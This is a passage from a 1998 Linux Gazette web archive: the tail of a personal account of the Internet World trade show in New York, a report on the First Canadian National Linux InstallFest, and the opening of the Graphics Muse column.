King or McDonnalds and he thought that was a bad idea.) He then went to
describe the power of the internet and how his product was going to take
advantage of it etc etc... Its hard to take so much promotion of someone's
software. The one thing that irked me was that he was confusing the internet
with the browser. He kept saying things like, "You can access our database
on the Internet" and he popped up Netscape and ran through some demo. I
have a feeling that either he figures that the regular joe mo user considers
the browser as the Internet or he is a regular joe mo user who doesn't
know the subtleties of what he was ranting and raving about. In any case,
while he was stepping through his demo, which was running on an iMac, the
app froze and there was a frantic rebooting of the machine. The Orcale
guy was able to talk his way through the rebooting of the poor iMac. This
is life at the bleeding edge. Even Larry Ellison as to bleed a little.
<P>After the key note, I turned my attention to a session titled, "Getting
the most out of the Mozilla source code." Cool, open source, finally something
about the real future. The guy who talked impressed me. He was an African
guy who waxed well about web page development. I was glad to see that the
field of Internet technology was not completely dominated by males of protestant/european
decent. The session that followed was by some guys from real.com (I think
the name has changed) who talked about audio and video compression. The
topic of the session being multimedia in your browser. The technical stuff
they covered was good. I can now claim to be an expert in audio and video
compression. I know the jargon words, compress, equalize, encode, decode,
key frame, mpeg, and so on and so forth. With that, I can bullshit my way
through any multi-media discussion.
<P>I lost patience with the conference sessions and decided to go back
to the show floor, Instead of rushing off to the RedHat booth in mere panic,
I scouted out the various setups put up by all these forefront companies.
The companies who rented real estate from Javits was a who's who of my
life blood. HP, Sun, SGI, IBM, Motorola, Cicso, Microsoft, Bell Atlantic,
Computer Associates, O'Reilly, Oracle, Sybase, and on and on. The Big players
had Big booths and just as in the real world, the real estate proverb of
"Location, Location, Location" applies equally well here. All the companies
with big bucks were positioned right in front of the several entrances
to the main show floor. IBM bought the best spot, they were just behind
the main entrance. Microsoft had the second best spot, which was just to
the right of IBM. It's hard to describe the impression of some guy who
has never seen this kind of presentation before. Its BIG, Its LOUD, its
FLASHY, its CATCHY, its MTV, its exhausting. These Fortune 500 booths all
had big audio/visual displays advertising their merchandise. All screens
were BIG. Those cool Sony TV's where you put 9 or 16 of them together in
an NxM array and together they make up one big TV screen were all over
the place. IBM must have had 1/2 a dozen of these arrays setup. The detail
setup of all these booths has been lost from memory. Some exceptions linger.
First, is Motorola's Digital Diner.<IMG SRC="./gx/adler/fiw9805.small.jpg" NOSAVE HEIGHT=200 WIDTH=302 ALIGN=RIGHT>
Forget the elaborate array of video technology (gadgets), Motorola I think
out did everyone with their Digital Diner. As I strolled around the floor
trying to keep my mind from exploding from information overload, I saw
this diner looking structure with a bunch of people standing around rather
captivated by what was going on inside. I got a closer look and it took
a bit of focusing, (I'm brain is fighting these peak levels of information
infusion) and I realized that inside this diner, is a restaurant mockup
with a full Broadway cast singing and dancing to the hand full of show
attendees who caught a seat at one of the booths inside this Digital Diner.
They are sing and dancing to the Tune of IP Telephony no less. The cast
was a hoot. They had a cop, some sales guy, and 3 waitresses. And sing
and dance they did. From the outside of the booth, you could not hear the
music or what they were saying, but the visual of waitresses dancing around
with coffee pot and mug in hand, with those head held microphones was just
too cool. <IMG SRC="./gx/adler/fiw9817.small.jpg" HEIGHT=200 WIDTH=415 ALIGN=LEFT>VIVA
New York City! (My guess is that the cast is from Pasadena and they tour
the country going from Internet show to ISPCon singing and dancing the
IP Telephony tune, but NYC is the center of the Universe for Broadway shows,
and seeing this kind of production in Javits was special. At least to
me....) <IMG SRC="./gx/adler/fiw9818.small.jpg" NOSAVE HEIGHT=200 WIDTH=271 ALIGN=RIGHT>Not
to be out done, the folks at Computer Associates had their own production
going. Their theme was Jazz, and the stage was a funkie bar/cabaret setting.
Here they had a couple with the familiar head held mics, dancing around
singing about CA solutions for your corporate enterprise. They were supported
by another couple with no head mics but just danced around. Again, a type
of 50's be-bop as was going on in the Digital Diner. Very entertaining.
Trying to compete with this kind of message delivery were other booths
of smaller, lesser known (at least to me) companies were Magic shows, guys
on unicycle juggling swords. You thought Central Park on a sunny summer
afternoon was a zoo, then you haven't been to an Internet show lately.
<BR>
<P><BR>
<CENTER>
<P><IMG SRC="./gx/adler/fiw9819.small.jpg" NOSAVE HEIGHT=150 WIDTH=283
ALIGN=CENTER> <IMG
SRC="./gx/adler/fiw9828.small.jpg" HEIGHT=200 WIDTH=214 ALIGN=CENTER></CENTER>
<BR>
<P><BR>
<P>While wondering around, I got the both number for the NY LUG named LXNY.
Strange acronym for a users group. They were located on the first floor
show area way in the back. They could not have <IMG SRC="./gx/adler/fiw9809.small.jpg" NOSAVE HEIGHT=300 WIDTH=198 ALIGN=LEFT>been
further removed from the action. Ok, local users group, no money, perfectly
understood. I introduced myself to the guys, signed up to their mailing
lists and hung out for a chat with them. The guy in charge seemed to be
a reasonable chap. He tells me he is a perl nut, or something to that effect.
Cool, definite open source kind of guy. There was another guy working on
an install of SuSE on his laptop. I peered over his shoulder and saw some
of the installation pages as they flashed by while he selected this or
that to be installed. Looked nice, a bit more polished than RedHat's install.
There was another chap who told me how he partitioned his disk, (all wrong
according to my rule of partitioning disks, (/, swap and /home and thats
it...)) Then there was another guy who sported an old red baseball cap
with the RedHat logo on it. Looked rather well worn. He had a scruffy beard,
and we talked a bit. He told me that he knows Eric Raymond, the guy who
wrote that "The Cathedral and the Bazaar" net-paper, from some Sci-Fi shows.
He then goes on to tell me about his political slants. He's a libertarian.
He tells me that he and Eric, when not talking about open source, talk
about politics and guns. "Guns?" I say. Yes, guns. He then asks me if I
believe in the first amendment. "Yes", I say. "Do you own a gun?", he asks.
"No", I reply. "Then SHUT UP!", he snorts. Yup, guns and the first amendment
go hand in hand. He continues to tell me how the 10 amendments have been
eroded by the 'Government'. It's hard for me to carry on a conversation
with this guy. Especially when it turns to Y2K and stocking up provisions
for the aftermath.
<P>Day 4) Up and at'em at 5:45am. The day turns out to be rather gloomy
with rain forecasted. By now, my commuting routine is getting fine tuned.
I got to the train station in time to leisurely buy my round trip ticket,
coffee and bagel and have 1 minute to hang out on the train platform watching
all the other commuters who had equally well tuned commuting
skills. <IMG SRC="./gx/adler/fiw9820.small.jpg" NOSAVE HEIGHT=300 WIDTH=132 ALIGN=RIGHT>Getting
to Javits, I go directly to the special events hall to hear the keynote
which will start in about 10 minutes. The ambiance is much more subdued.
The usual MecklerMedia add stuff on the now more mundane 5 screens rolls
on unnoticed. (Its amazing the capacity of the brain to adapt to new levels
of sensory filtering.) The speaker was the Chairman/CEO of AT&T, C.
Michael Armstrong. What he had to say was rather boring compared to the
previous two speakers. He had no gizmo to show off, or web pages to surf
too. He basically announced one thing, the intent of AT&T to take over
the internet as we know it. Fair enough. He boasted the recent $48e9 acquisition
of MCI. He waxed about the quality and quantity of future AT&T cable
modem services. In all, he came across as the most fine tuned image projecting
CEO that I've met. (The only other CEO being Larry Ellison.) Still, I was
rather amazed at the skill of this guy to project the image of Stability,
Strength, Leadership. By the end of his speech, I wanted him to my grandfather.
(Not for the money mind you.) I recently met NY's senator from Long Island,
Al D'Amato. Al is on the opposite end of the spectrum to the CEO of AT&T.
When I met Al, the bit which struck me the most was his total arrogance
at the people around him and at the same time his attempt to try and look
caring. He would crack a forced smile when meeting the audience he was
going to speak to. When the cameras were on him, that forced smile would
pop back into his mouth, and all the while, we would have this strange
glare in his eye, trying to asses every one he shook hands with. Needless
to say, he blew me off when I shook his hand. (No forced smile for me.)
But he did have lots of smiles for my wife who was also in the hand shaking
line. (And a kiss on her cheek to boot!) In contrast, was AT&T's CEO.
This man had depth. Being around him gave you a sense of solemn. He was
a family man. He set the stage for his speech by telling a joke involving
his granddaughter. After he established himself as a caring family man,
with his joke, he plunged ahead with talk of how AT&T will be in everyones
home delivering those internet services to you via TV. I guess the big
difference between Al and this CEO is the amount of money they truly control.
Al controls his campaign funds. He really has little control over the US
government budget. In contrast, the CEO controls BILLIONS and is payed
mucho more for it than Al gets for voting in the US senate. So, the law
of capitalism dictates. You get the Al D'Amatos to run the country and
the C. Michael Armstrong's to rule the world!
<P>After the keynote, I decided to take a break from the show floor and
the TCP/IP sessions I came to attend, to listen to a discussion on the
'Adult Entertainment Industry' put on by the "Investing in the Internet"
session. The session was well attended and the speakers were an interesting
and diverse bunch in themselves. They had what I think was a technology
consultant for Penthouse. They had some guy who recently wrote an article
for Upside Magazine on the subject. Upside was sponsoring the session.
They had a woman who owned her own adult Web site. And there was a guy
from a research type firm who was trying to figure out how much money was
being spent on adult web sites. The consulting guy for Penthouse when first.
He groaned about the lack of payment for services rendered on these web
sites. The researcher gave a short talk on how hard it was to figure out
how much money was going into the Internet adult business. His conservative
estimates, and believe me, from what he said are very conservative, is
that close to $700,000,000 this year will be spent on guys looking a nude
girls doing weird things to themselves and others. This is conservative.
(i.e. looking at the volume of charges of 5 or so popular adult web sites.)
Then the woman, owner of her own adult portal, raved about the wonders
of the business. Its recession proof, it makes MONEY, (she broke even in
6 months, but she didn't say how much was invested up front), there are
plenty of models waiting to get into the business. Its safe and virtual.
And she thanked Bill Clinton for bring erotica into the main stream. She
claims to have lots of brunets posing with cigars. One thing which annoyed
me was this video camera which was filming this session. They had the audacity
of panning the audience. I had to keep hiding behind the guy between me
and the camera to make sure I would be seen on National TV watching this
adult forum and then trying to explain to my boss why he should pay $1.4K
for my registration fee. I know, its hypocrisy on my part, but that's just
the way I am. So between dodging the camera pan of the audience and listening
to panel mourn the difficulties of IPOing firms engaged in adult content
I got out of the session with this urge to run off and make a billion in
porn. Of course I'm not going to do so, but the guy sitting next to me
will.
<P>After my short diversion into the underworld of the Internet, I headed
back out to the show floor. I had in mind lining up to get into the Digital
Diner and perhaps get one of those Motorola burgers they were serving
up. <IMG SRC="./gx/adler/fiw9824.small.jpg" NOSAVE HEIGHT=200 WIDTH=303 ALIGN=LEFT>(I
do a lot of work with Motorola embedded real time systems, so that Motorola
burger would have been a cool fixture on top of my 21'' monitor.) But first
I wanted to stop by the SuSE stand to see if I could get a copy of their
distribution. I had picked up Caldera's and Pacific HiTechs. Nope SuSE
was still out and my guess is that they ran out on the first day and the
talk of getting more SuSE CD's for distribution today was just hype. There
was a lot of action around the Oracle partners pavilion where the minor
Linux distributors were being hosted. So I stuck around. I've heard a lot
of KDE and SuSE packages it with their distribution, so I was checking
out what the SuSE guy was demonstrating. After a bit I got engaged with
the SuSE guy. He introduced himself as Todd Andersen, the guy who claims
credit for getting the term Open Source accepted as the new term to replace
free software. What a character. His background is with the Department
of Defense. He rattled on for about 30 minutes about the spooks in the
CIA, how the NSA was a serious organization and other ongings of our defense
industry which I was trying to grapple with. I'm not sure how Todd got
into the Linux business coming from the Defense Department, I missed that
part of his introduction. Being a fair minded guy, and the fact that I'm
rather in the RedHat camp, I thought I would offer to mirror their site.
I'm currently mirroring RedHat's and spent $1K of the governments money
in doing so. (You need a large disk.) The disk is not totally full and
being that SuSE is making inroads into the Linux mainstream, I thought
it appropriate that I also mirror this site. Todd and Bodo, (Bodo is the
guy with green hair as described by Dan Shaffer on CNET radio's "<A HREF="http://www.news.com/Radio/Features/0,155,205,00.html">Project
Heresy</A>" broadcast of Thursday Oct 8, who came from Germany to help
out their US SuSE brethren.) got all excited about this, after telling
them that the lab I work for has a T3 connection to the internet. I then
proceeded to show Todd my Linux resources web page I've put up for people
at Brookhaven National Lab, or around the world as that goes, to get some
advice on how to get Linux installed on their machines. Todd was loosing
interest in my web page due to other show attendees coming around to checkout
their very nice KDE desktop setup. I bade them firewall and took off to
checkout how the RedHat booth was doing. Over at RedHat, they were fielding
many questions from a hand full of people. RedHat was going to get another
shipment of CD's which they were going to start giving out at
2pm. <IMG SRC="./gx/adler/fiw9825.small.jpg" NOSAVE HEIGHT=200 WIDTH=295 ALIGN=RIGHT>I
hung around with Melissa and some other chap who used to work for <A HREF="http://www.lanl.gov/external/index.htm">Los
Alamos National Laboratory</A> who got RIF'ed and is now playing a role
in this leading edge company. He made the right move. He was also the guy
who rescued the VA Research machine which arrived in a sorry state at the
show.
One side note I would like to mention is they guy from Adaptec who I met.
As I was hanging around the RedHat booth, I heard some guy say he is from
Adaptec. This caught my attention. To me, Adaptec is the premier provider
of SCSI controllers for the PC/PCI market. Most motherboards you get these
days have a built in Adaptec SCSI controller chip giving you an on board
SCSI port, much like the on board IDE channel all motherboards today provide.
With all the experience I've had installing Linux boxes, I've always run
into the Adaptec kunumbdrum. Great hardware, but bad driver. I've had several
instances where spanking new 23 Gig Seagate drives were attempted on a
SCSI bus hosted by an Adaptec controller which failed miserably to integrate.
My solution, forget the Adaptec built in Ultra Fast SCSI controller and
spend $300 on a Buslogic SCSI controller. A sure win. Great SCSI hardware
and an even greater driver to go with it. When I put my first Linux box
together, I pondered the SCSI question. What controller. After poking around
in the SCSI howto, I found that Leonard Zubkoff got direct support from
Myplex to help write the driver, the decision to buy the Buslogic card
was done. And true to the open source/Internet development environment,
it was never more than 24 hours before Leonard would send me a patch to
his driver when things went wrong. (At one point I had one differential
card and one single ended card installed in my quad Pentinum pro box and
things didn't boot right, and Leonard fix that problem quick.) So, back
to Adaptec. Not too long ago I read a bit of news from the RedHat web page
that Adaptec was going to embrace the Linux community, which meant that
it was going to release the full hardware specs to the driver writers.
Voila, I would finally count on being able to use all those on board SCSI
controllers which I've had to ignore. But since ever since I read this
great announcement, I have not been aware of any new Adaptec driver updates,
so as far as I know. So, I gave this guy from Adaptec a my long story I
just dump on you and he replied with some interesting inside info. First
of all, we was not with the SCSI development team. This guy was a sys admin
for Adaptec. But he did tell me that Adaptec has been going through some
hard times. With its success in the SCSI market, Adaptec decided to diversify
into a whole bunch of other high tech field, none of which they turned
out to be any good at. He told me that the Adaptec stock peaked at $50
something a share and now was down around $5 or so. This has forced Adaptec
to go back and concentrate on its core business. Along with that, he tells
me that Linux is really big inside the company. He tells me that there
are a lot of Linux peraphenalia, and he picked up the RedHat bumper sticker
which lay in front of us and pretended to tack it on to an office cubical
wall. "You see a lot of things like this, around the company", he said.
Just like the rest of us, the Adaptec employees saw the light in Linux
and my guess is that Adaptec's announcement to support the Linux effort
came from a movement within the company. From the employee's themselves.
I found that insiders view of Adaptec to be rather interesting.
<P>Melissa told me that the RedHat CD handout was going to occurs at 2pm,
being around 1:15 pm, I decide to go get lunch and then head for the afternoon
keynote. <IMG SRC="./gx/adler/fiw9827.small.jpg" NOSAVE HEIGHT=200 WIDTH=282 ALIGN=LEFT>It
was raining rather hard so the hotdog stand was out and I had to spend
lots of money on a rather simple barbecue sandwich in the overdone Javits
cafeteria. From there it was on to the special events center where I waited
for about 20 minutes for Jim Barksdale, the Netscape cheefo to give his
view of the Internet world. I thought I was in for a surprise when the
music which preceded the talk was a cool jazz piece. This is good, no need
for super hyped up rock sounds beating your adrenaline system into hyper
drive a-la Oracle. The problem was, as I found out within a few minutes
into Jim's speech, he was a total bore. He lacked everything. No charisma,
no attitude, no inner-drive, nothing. This guy reminded me of mashed potatoes.
Netscape, as far as I'm concerned, is the only browser one should use.
Maybe if there was a Linux port of IE, I would try it, but without that,
there is nothing else which is graphically based. So, here he is, talking
about The browser but has no charisma to put the punch into his presentation.
I, along with the rest of the audience, was losing my attention for what
ever message he had to deliver. The selling point of Netscape was the ability
to type a key word into the URL field and the browser would 'find' the
page you were looking for, and the 'what's related' button next to the
URL field. He spent some time, too much time, plugging this feature. He
then talked wonders of the customizability of the browser, either for ones
own personalification or to setup some 'portle' for some company too lazy
to higher a good webmaster with the proper Java skills to do the job right.
At the end of his keynote, James took off without giving the change of
the audience to approach him afterwards for a question or two and/or to
exchange business cards. Another flop move. So be it for Jim. Although
I could hardly sleep the night I found out that Netscape was going to release
the source code via their Mozilla.org site. Jim hooked his wagon to the
right company at the right time, nothing more. He talked about running
Federal Express before running Netscape. Somehow I can't see the connection
between the two companies except that there is something which went wrong
here. Steve Jobs and Bill Gates grew up with the field, Jim Barkesdale
seems to have dropped in like an uninvited guest. I guess its much the
same as the guy Steve Jobs hired to run Apple who eventually dump Steve
from Apple. Us technophites need to learn some lessons here.
<P>After being let down by the Netscape keynote, I rushed back up to the
RedHat booth to see how the CD handout was going. It was going well. There
was a line of about 20 to 30 people long waiting to get a RedHat CD. I
took the opportunity to take some pictures of the line of Linux users to
be. With that, I wished the RedHat team good luck in there endeavors and
took off to my last session, "Migrating to IP version 6." This session
was given by two IBM consultants out of North Carolina. My first tag team
seminar with that same tele-evangelist delivery. IPv6, Amen!
<BR>
<P><BR>
<CENTER>
<P><IMG SRC="./gx/adler/fiw9836.small.jpg" NOSAVE HEIGHT=172 WIDTH=500 ALIGN=CENTER></CENTER>
<BR>
<P><BR>
<P>I was expecting the session to go until 5:30 but ended an hour earlier.
I was planing to then roam around the show floor a bit more looking to
see if there were any after hour networking parties to go to. But somehow,
after getting to the main entrance plaza of Javits, with the rain coming
down, and not having much of a stomach for more Internet World show biz,
I canned my plans and made a bee line to Pen Station to catch the 5:22
train back to Long Island. Once on the train, I had an hour and a half
to ponder my last 4 days. I've only been to scientific conferences. The
last one, Computing in High Energy Physics, I found to be rather tedious
and left after two days. (I had a good excuse, the DAQ system for the experiment
I'm on was acting up and they needed their expert back in house. Although
I could have, and did, solve all their problems by walking the clueless
over the phone, through the various button clicks to get back into full
data taking mode.) After I put Linux on my first home grown PC, 3 months
after getting my Ph.D., my life has been so tied up with this OS that I've
often pondered why I continue working at a High Energy Physics Lab. I've
done my best to aid Linux gain inroads into the high energy and nuclear
physics community by porting a lot of Fortran code to Linux. I've also
leveraged my position at the lab to put together the first official group
of Intel PC's running Linux for the scientists to analyze their data. Being
in the DAQ subfield of physics give you a high point from which to watch
how the technology used to bring the Internet to life evolve through time.
My work has been all internet, Unix workstations, data over IP, (Gigabytes
of Data and now going on to Tera bytes), routers, switches, e-mail, html,
java, X11 and on and on since I first learned how to program a computer
back in my first physics lab when I was 18. Walking around the show floor,
and going to the sessions brought my whole world around. Internet world
is really my world. I knew in depth or otherwise, every aspect of what
was being presented at that show. And with the Linux people there, this
added gravy to show. It was some 4 days. Friday I'll be back to helping
BNL users find their way through the Unix/Internet maze of the lab. Monday
I'll be back worrying about why I can't sustain 20Mbytes/sec data throughput
in our DAQ, or rather why the clueless users seem to stumble all over my
DAQ system. But for now, on my ride home, I just let all those memories
of Internet World swirl around my head, as I looked out the LIRR train
watching Long Island sweep by.
<BR>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Stephen Adler <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./omalley.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./staff.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">First Canadian National Linux InstallFest</font></H1>
<H4>By <a href="mailto:dstaff@echelon.ca">Dean Staff</a></H4>
</center>
<P> <HR> <P>
<A HREF="./photos1.html">Photo Album</A>
<P> <HR> <P>
Saturday, September 26, 1998 was a big day for the Linux
community in Canada--that day the First Canadian National
Linux InstallFest was held.
<p>
The InstallFest was organized on a national level by CLUE
(Canadian Linux Users' Exchange) to provide interested people with
experienced help installing Linux on their
computers. CLUE is an organization that supports the development of
local Linux Users Groups, and co-ordinates events, corporate
sponsorships and publicity at a national level. CLUE hopes that
by enhancing association and communication amongst its
developers, users, suppliers and the general public, it can
increase the use and appreciation of Linux within Canada.
<p>
<h3>Highlights</h3>
<p>
A dozen different events were held across Canada, from
Halifax to Victoria, all taking place on the same day by Linux
User Groups.
<p>
The <i>Montreal</i> event, at its peak, had as many as 100 people
in the room at once and by all accounts, had 200 to 250 people stop by.
They did 40 installs, only 20 of which were from
preregistrations. They even had the crew of the local TV show
Branch stop by for an interview, due to air in November. Also
worthy of mentioning, they had guru Jacques Gelinas, the author of the
LinuxConf software, answering questions.
<p>
Two InstallFests were held in the <i>Toronto</i> area: one at
Seneca College and the other at the University of Toronto
Bookstore. The Seneca College event had a late start due to a
power outage, but more than made up for it as the unofficial
count of installs is about 100. They even rolled out their
Beowulf class Linux cluster for the masses to look at and see how
a few ``small'' Linux boxes can be turned into a Supercomputer.
<p>
The <i>Manitoba</i> UNIX Users Group, (MUUG) held their
InstallFest at the University of Manitoba, as two-day event beginning on
Friday. As this was their first InstallFest, they deliberately kept
it small and aimed mostly at the faculty and students of the U of
M. About 140 people attended, with more than half purchasing a Linux CD, as well as 19
successful installs. Attendance was greater than expected, probably due to
the national news coverage the event received.
At least one person came in who said he had discovered the InstallFest by
seeing a segment about it on CTV News-1, a National News network.
<p>
The MUUG web site made mention of one more interesting story from
the event. One attendee brought in a system which became known as ``Franken-puter''! It was apparently two separate
cases tossed together with all sorts of spare parts the owner was
able to scrounge up, and connected with a piece of coax Ethernet cable.
He spent as much time swapping parts and
reconfiguring on the fly as he did installing Linux. He
apparently showed up at the start of the event on Friday and
didn't finish until mid-afternoon on Saturday. Even after all
that, he still hung around afterwards to help others with their
installs.
<p>
The <i>Ottawa</i> InstallFest was hosted by the Ottawa Carleton
Linux Users Group (OCLUG). While almost all the other events were
held in a more academic setting of local colleges and
universities, OCLUG had their event sponsored by NovoClub, a
local retail store. NovoClub is located in a shopping mall and
managed to get an empty store front for OCLUG to use. They also
arranged for display kiosks to be set-up in the mall by several
companies. There were training companies, a local ISP and most
notable, Corel Computer displaying their NetWinder, and of course,
NovoClub was offering specials on their very large selection of
Linux products. The whole event was more like a mini trade show
than a typical InstallFest.
<p>
The unofficial count at the installation store front was that
250 people came through the door. This count included those
that came to have Linux installed on their machines, members of
the press and ``just curious'' folk who
stopped to ask questions, while wandering around in the mall.
<p>
OCLUG chose not to have people preregister, they decided to just
let people come and register the day of the event. It was
supposed to start at 10 AM and go to 5 PM. However, people were lined up at 9 AM when the mall opened, and they
soon ended up with a backlog of machines waiting for Linux installation. By
3 PM they were two hours behind and had to start turning people
away. By the time it was over, they had installed Linux on 50
to 60 machines and still had 10 they could not finish.
<p>
Not all events were as big as the ones listed above. The <i>New
Brunswick</i> Linux Users Group had only ten people attend, with four
successful installs. They were a bit upset at the low turn
out. However, it was also Homecoming week at Mount Alison University
in town, and a football game was in full swing at the same
time as the InstallFest. They are in the process of designing a
tutorial for their new users and anyone else who is interested.
The <i>Fredericton</i> InstallFest was a little larger with thirty
attendees and ten installations.
<p>
<h3>Overview</h3>
<p>
The general consensus is that as a public relations event, the
InstallFest was an overwhelming success. It got a lot of people
asking questions about Linux, some of whom took the plunge and
installed Linux for the first time. However, it was not completely
successful as a technical event. By no means is this a reflection on
either those who organized the individual events or the
volunteers who helped with the installations--they all did a
stellar job--just no one was prepared for the magnitude of the
response.
<p>
Most LUGs asked people to register prior to the event. This
allowed them to get as many volunteers as they thought they would
need. Some groups, like the Vancouver Linux Users Group were
swamped with preregistration and had to halt registration
prior to the event because they could not accommodate everyone.
Even with preregistration, the day of the event was hectic.
The report from Seneca College in Toronto was that their event
lasted until 9 PM, and they were still unable to complete all the
installs. Other events had similar reports, and despite the best
laid plans, the response overwhelmed the number of installers.
<p>
Some installs were unsuccessful, either due to time constraints or hardware
compatibility issues that were not easily overcome. That said, the ratio of
unsuccessful to successful installs was minimal. In most cases, it
was one or two to fifty. I've seen more failures on MS Windows
installations than that.
<p>
<h3>Where Do We Go From Here?</h3>
<p>
One of the interesting side-effects of the OCLUG InstallFest was
that preliminary discussions were started between Zenith Learning
Technologies and Corel Computer to set up a corporate Linux
training program. Also, Oliver Bendzsa of Corel Computer
reportedly said that he was as busy at the InstallFest as he was
at Canada Comdex, a 3-day trade show that drew some 50,000 people
in Toronto.
<p>
Dave Neill, a founding member of OCLUG, said that while grassroots events like the InstallFest are a great way to promote
Linux, it is now time to start approaching local computer
resellers and show them there is a demand for systems with
Linux pre-installed. I work for Inly Systems, the largest
independent computer reseller in the Ottawa area, and while we
are now expanding the variety of Linux products we carry, we
still do not offer Linux pre-installed on our machines. However, with
at least three technicians who have experience with Linux and/or
UNIX installations, we could do this if people began
asking for it. However, we are an exception; most resellers don't have
technicians with Linux experience.
<p>
One of the issues that must be answered is how and where companies can
have their technicians trained. This is where training companies like Zenith
Learning Technologies come in. The fact that Zenith was at the
OCLUG InstallFest shows that they realize the potential for Linux
training. With such companies as Corel, Oracle, Intel and
Netscape investing time and money in Linux, it won't be long
before other training companies jump on the bandwagon.
<p>
<h3>Today Canada, Tomorrow the World!</h3>
<p>
Plans are already in the works for a Global Linux
InstallFest next year. If you would like to know more or would
like to get your LUG involved, please check out the CLUE web site
at http://www.linux.ca/ and contact Matthew Rice. An event of this
magnitude will need lots of help organizing, so don't be
shy--watch out Bill, the Penguin is on the move!
<p>
For more information on the individual InstallFest events, please
visit the CLUE web site for a list of links to all the
participating user groups.
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Dean Staff <BR>
Published in Issue 33 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./adler.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./gm.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<!-- =============================================================
These pages are designed by Michael J. Hammel. Permission to
use all graphics and other content is granted provided you give
me (or the original authors/artists) credit for the work and this
copyright notice is not removed.
(c)1997, 1998 Michael J. Hammel (mjhammel@graphics-muse.org)
============================================================= !--><!-- The Button box as a client side imagemap --><MAP NAME="nav-main"><AREA SHAPE="rect" HREF="#mews" coords="20,18 185,40"><AREA SHAPE="rect" HREF="#webwonderings" coords="10,60 185,83"><AREA SHAPE="rect" HREF="#musings" coords="90,102 185,130"><AREA SHAPE="rect" HREF="#resources" coords="70,152 185,180"></MAP>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 COLS=2 NOSAVE >
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE><IMG SRC="../gx/hammel/gm-logo-3.jpg" HEIGHT=169 WIDTH=400></TD>
<TD ALIGN=LEFT VALIGN=CENTER NOSAVE>
<BR><B><FONT SIZE=+1>muse:</FONT></B>
<OL>
<LI>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>v; to become absorbed in
thought </FONT></FONT></I></LI>
<LI>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>n; [ fr. Any of the nine
sister goddesses of learning and the arts in Greek Mythology ]: a source
of inspiration</FONT></FONT></I></LI>
</OL>
<CENTER><FONT SIZE=-2>© 1998 by <A HREF="mailto:mjhammel@graphics-muse.org">mjh</A></FONT></CENTER>
</TD>
</TR>
</TABLE>
<HR SIZE=1 NOSHADE WIDTH="100%">
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD WIDTH="187" NOSAVE><IMG SRC="../gx/hammel/muse-image-map.jpg" ALT="Button Bar" USEMAP="#nav-main" HEIGHT=200 WIDTH=185 ALIGN=LEFT></TD>
<TD VALIGN=TOP WIDTH="65%" NOSAVE>
<BR><IMG SRC="../gx/hammel/w.gif" ALT="W" HEIGHT=28 WIDTH=36 ALIGN=BOTTOM><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>elcome
to the Graphics Muse! Why a "muse"? Well, except for the sisters aspect,
the above definitions are pretty much the way I'd describe my own interest
in computer graphics: it keeps me deep in thought and it is a daily source
of inspiration. </FONT></FONT>
<CENTER>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>[<A HREF="#mews">Graphics
Mews</A>][<A HREF="#webwonderings">WebWonderings</A>][<A HREF="#musings">Musings</A>][<A HREF="#rsrc">Resources</A>]</FONT></FONT></CENTER>
<P><IMG SRC="../gx/hammel/t.gif" ALT="T" HEIGHT=28 WIDTH=26><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>his
column is dedicated to the use, creation, distribution, and discussion
of computer graphics tools for Linux systems.</FONT></FONT></TD>
</TR>
</TABLE>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This month marks the second
anniversary for the Graphics Muse column. Its hard for me to believe
I've been doing this for that long. My general span of attention
is about a year, but I've managed to not only hold onto an interest in
this column, I've managed to grow it into several articles and covers for
the Linux Journal, a book, and a web site devoted to computer graphics
and based on this column. I guess when you get on a roll, stick with
it.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The more observant readers
will also notice a little change in format for this column. I finally
did a little color matching for the various images I use and, at the bequest
of more than just a few readers, got rid of the multicolumn articles.
Most of the announcements are on a page of their own now, although I will
be keeping a few on the first page. Overall, I much prefer this new
format. It just looks cleaner. I hope you like the changes.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In this months column I've
taken a chance and offered a little editorial on the way things are as
I see them. Much of what I've seen in the past few months revolving
around Linux has been positive news - announced support from all 5 major
database vendors (Oracle, IBM, CA, Sybase, and Informix), Intel and Netscape
announcing investment in Red Hat, and lots of generally good press.
But along with this I've seen a fair amount of disunity among the community.
There are camps forming between followers of various leaders. I find
this sad. Hardlines drawn by groups with disparate interests and
ideas tends to drain the energies of both sides of the argument and I'd
really hate to see that happen with Linux. The worst aspect of these
